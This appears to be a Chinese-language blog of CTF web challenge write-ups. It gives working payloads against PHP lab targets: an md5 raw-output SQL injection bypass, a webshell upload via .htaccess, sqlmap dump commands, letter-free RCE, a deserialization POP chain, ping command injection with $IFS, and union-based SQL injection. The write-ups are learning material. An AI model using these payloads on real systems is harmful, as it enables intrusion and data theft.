1.[BJDCTF 2020]easy_md5
打开页面发现没什么东西,只有一个提交表单,然后url会显示你提交的信息
源代码里也看不到什么 ,用dirsearch扫一下,这些是扫出来的数据
抓包看到了提示
hint: select * from 'admin' where password=md5($pass,true)
在密码加密的过程中,password=md5($pass,true)
中的true
表示将结果以二进制形式返回。在PHP中,md5()
函数默认将结果以32位的十六进制字符串形式返回,而添加true
参数后,将以16个字节的二进制字符串形式返回。
ffifdyop转化为二进制之后前面正好是‘ or ’6-------
(这个也是个之前学过的知识点,但是给忘了)
ffifdyop——绕过中一个奇妙的字符串
ffifdyop经过md5加密后为:276f722736c95d99e921722cf9ed621c再转换为字符串:'or’6<乱码> 即 'or’66�]��!r,��b
用途:select * from admin where password=''or'6<乱码>'
就相当于
select * from admin where password=''or 1
可以实现sql注入
框里输入 ffifdyop,发现成功绕过
找到了源码
分析源码
<!-- $a = $GET['a']; $b = $_GET['b'];//get传参a,bif($a != $b && md5($a) == md5($b)){//让a不等于b,md5的a=b(用数组绕过)header('Location: levell14.php');//成功绕过,可以进入这个页面 -->
成功进入下一个页面
继续审计
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){//还是数组绕过
echo $flag;
}
得到flag
[SWPUCTF 2021 新生赛]easyupload3.0
他还提示试试和某些文件配合
上传.htaccess文件成功
上传图片马成功,用蚁剑连接
连接成功
找到flag 没有技术含量
[LitCTF 2023]我Flag呢?
在源码里找到flag
[SWPUCTF 2021 新生赛]error
输入1' and 1=1 发现报错
确定是SQL注入,再试试看看是什么类型的注入
没变化,用sqlmap跑一下
跑出来了,开始注入
查数据库
sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" --dbs -batch
查表名
sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db --tables
查列名
sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db -T test_tb --columns
查字段内容
sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db -T test_tb -C flag --dump
得到flag
[SWPUCTF 2021 新生赛]hardrce
php代码审计
简单写了一下
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))//get传参
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];//黑名单
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {//正则限制 /,/m,黑名单
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))//正则限制字母
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";//全部绕过之后
eval($wllm);//eval危险函数执行
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
php eval()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
eval — 把字符串作为PHP代码执行
说明 eval(string $code)
把字符串 code 作为PHP代码执行。
函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。
如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。
看了这些之后还是没思路,然后看到提示说是无字母rce
去网上找了无字母rce的内容
下边是办法
异或(^)达到命令执行
要求的符号: ^
要求的符号:~
要求的符号:|
要求的符号:"$", “.”, “_”, “=”,"+" 和一些其他的符号。
这里我只做简单概述,具体的我也没有学清楚
推荐大佬的博客:
奇安信攻防社区-PHP正则表达式绕过姿势之异或绕过(PHP正则表达式绕过姿势之异或绕过)
web安全-PHP-url编码取反绕过正则-思考_Red snow的博客-CSDN博客
这道题没过滤 |,~ 可以考虑或和取反绕过
构造payload:
我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到
得到flag的文件
接着取反
得到flag
这道题主要还是正则绕过吧,异或取反自增很重要,要恶补一下
[LitCTF 2023]PHP是世界上最好的语言!!
打开发现是这样的
直接一个命令执行,结束
[SWPUCTF 2021 新生赛]pop
代码审计 涉及到反序列化
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
解析代码 :
<?php
:这是PHP的开始标记,表示代码是PHP脚本。
error_reporting(0);
:这行代码设置PHP错误报告级别为0,意味着禁止显示错误信息。这可能是为了隐藏脚本中的潜在漏洞。
show_source("index.php");
:这行代码调用了show_source()
函数来显示当前脚本文件(index.php
)的源代码。
class w44m{...}
:这是一个名为w44m
的类的定义。它包含了一个私有成员变量admin
和一个受保护的成员变量passwd
,以及一个公共方法Getflag()
。Getflag()
方法检查admin
和passwd
的值是否为特定的字符串,如果匹配则包含并显示flag.php
文件的内容,否则显示一些其他信息。
class w22m{...}
:这是一个名为w22m
的类的定义。它包含一个公共成员变量w00m
和一个特殊的魔术方法__destruct()
。__destruct()
方法在对象销毁时自动调用,并输出w00m
的值。
class w33m{...}
:这是一个名为w33m
的类的定义。它包含两个公共成员变量w00m
和w22m
,以及一个特殊的魔术方法__toString()
。__toString()
方法在将对象作为字符串使用时自动调用,并通过调用w00m
对象的$w22m
方法来执行一些操作,然后返回0。
$w00m = $_GET['w00m'];
:这行代码从URL参数中获取名为w00m
的值,并将其赋给变量$w00m
。
unserialize($w00m);
:这行代码使用unserialize()
函数对$w00m
进行反序列化。反序列化是将之前序列化的数据重新转换为PHP对象的过程。在这段代码中,它的目的是将$w00m
的值反序列化为一个对象。
php脚本:
<?php
class w44m{private $admin;
protected $passwd;
public function __construct(){
$this->admin="w44m";
$this->passwd="08067";
}
}
class w22m{
public $w00m;
public function __construct($c){
$this->w00m=$c;
}
}
class w33m{
public $w00m;
public $w22m="Getflag";
public function __construct($p){
$this->w00m=$p;
}
}
$x=new w44m();
$b=new w33m($x);
$d=new w22m($b);
echo urlencode(serialize($d));
?>
解释:
它创建了三个类
w44m
、w22m
和w33m
,并实例化这些类来生成一个序列化后的对象,并对其进行URL编码后输出。下面是代码的解释:
class w44m{...}
:这是一个名为w44m
的类的定义。它包含了一个私有成员变量admin
和一个受保护的成员变量passwd
,以及一个构造函数__construct()
。构造函数在创建类的实例时被调用,并设置admin
和passwd
的值为w44m
和08067
。
class w22m{...}
:这是一个名为w22m
的类的定义。它包含一个公共成员变量w00m
和一个构造函数__construct()
。构造函数接受一个参数$c
,并将其赋值给w00m
成员变量。
class w33m{...}
:这是一个名为w33m
的类的定义。它包含两个公共成员变量w00m
和w22m
,以及一个构造函数__construct()
。构造函数接受一个参数$p
,并将其赋值给w00m
成员变量。
$x=new w44m();
:这行代码创建了一个w44m
类的实例,并将其赋值给变量$x
。
$b=new w33m($x);
:这行代码创建了一个w33m
类的实例,并将之前创建的w44m
实例$x
作为参数传递给构造函数。然后将该实例赋值给变量$b
。
$d=new w22m($b);
:这行代码创建了一个w22m
类的实例,并将之前创建的w33m
实例$b
作为参数传递给构造函数。然后将该实例赋值给变量$d
。
echo urlencode(serialize($d));
:这行代码对$d
进行序列化,然后使用urlencode()
函数对序列化后的结果进行URL编码,并将编码后的结果输出。
得到flag
payload:O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
[NSSCTF 2022 Spring Recruit]ezgame
提示 超过65分会给flag
在前端js代码中找到
[GXYCTF 2019]Ping Ping Ping
输入127.0.0.1 | ls /
输入system('ls');
输入127.0.0.1
ping命令执行的相关
127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code &表示将任务置于后台执行
127.0.0.1||+code 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
127.0.0.1;ls
找到了flag.php
cat一下
?ip=127.0.0.1%3Bcat$IFS$1flag.php
发现不行,用拼接字符串的方式来绕过
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
[SWPUCTF 2021 新生赛]sql
告诉参数是wllm,尝试sqlmap注入
sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -dbs -batch
找到数据库名称
查列名
sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db --tables
查字段
sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db -T test_tb --columns
查字段内容
sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db -T test_tb -C flag --dump
发现这个flag是错的,还是要自己手注,等这个周末会专攻一下sql手注,老是用工具跑还是不会
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/test_db.LTLT_flag%23
主要涉及到的就是空格绕过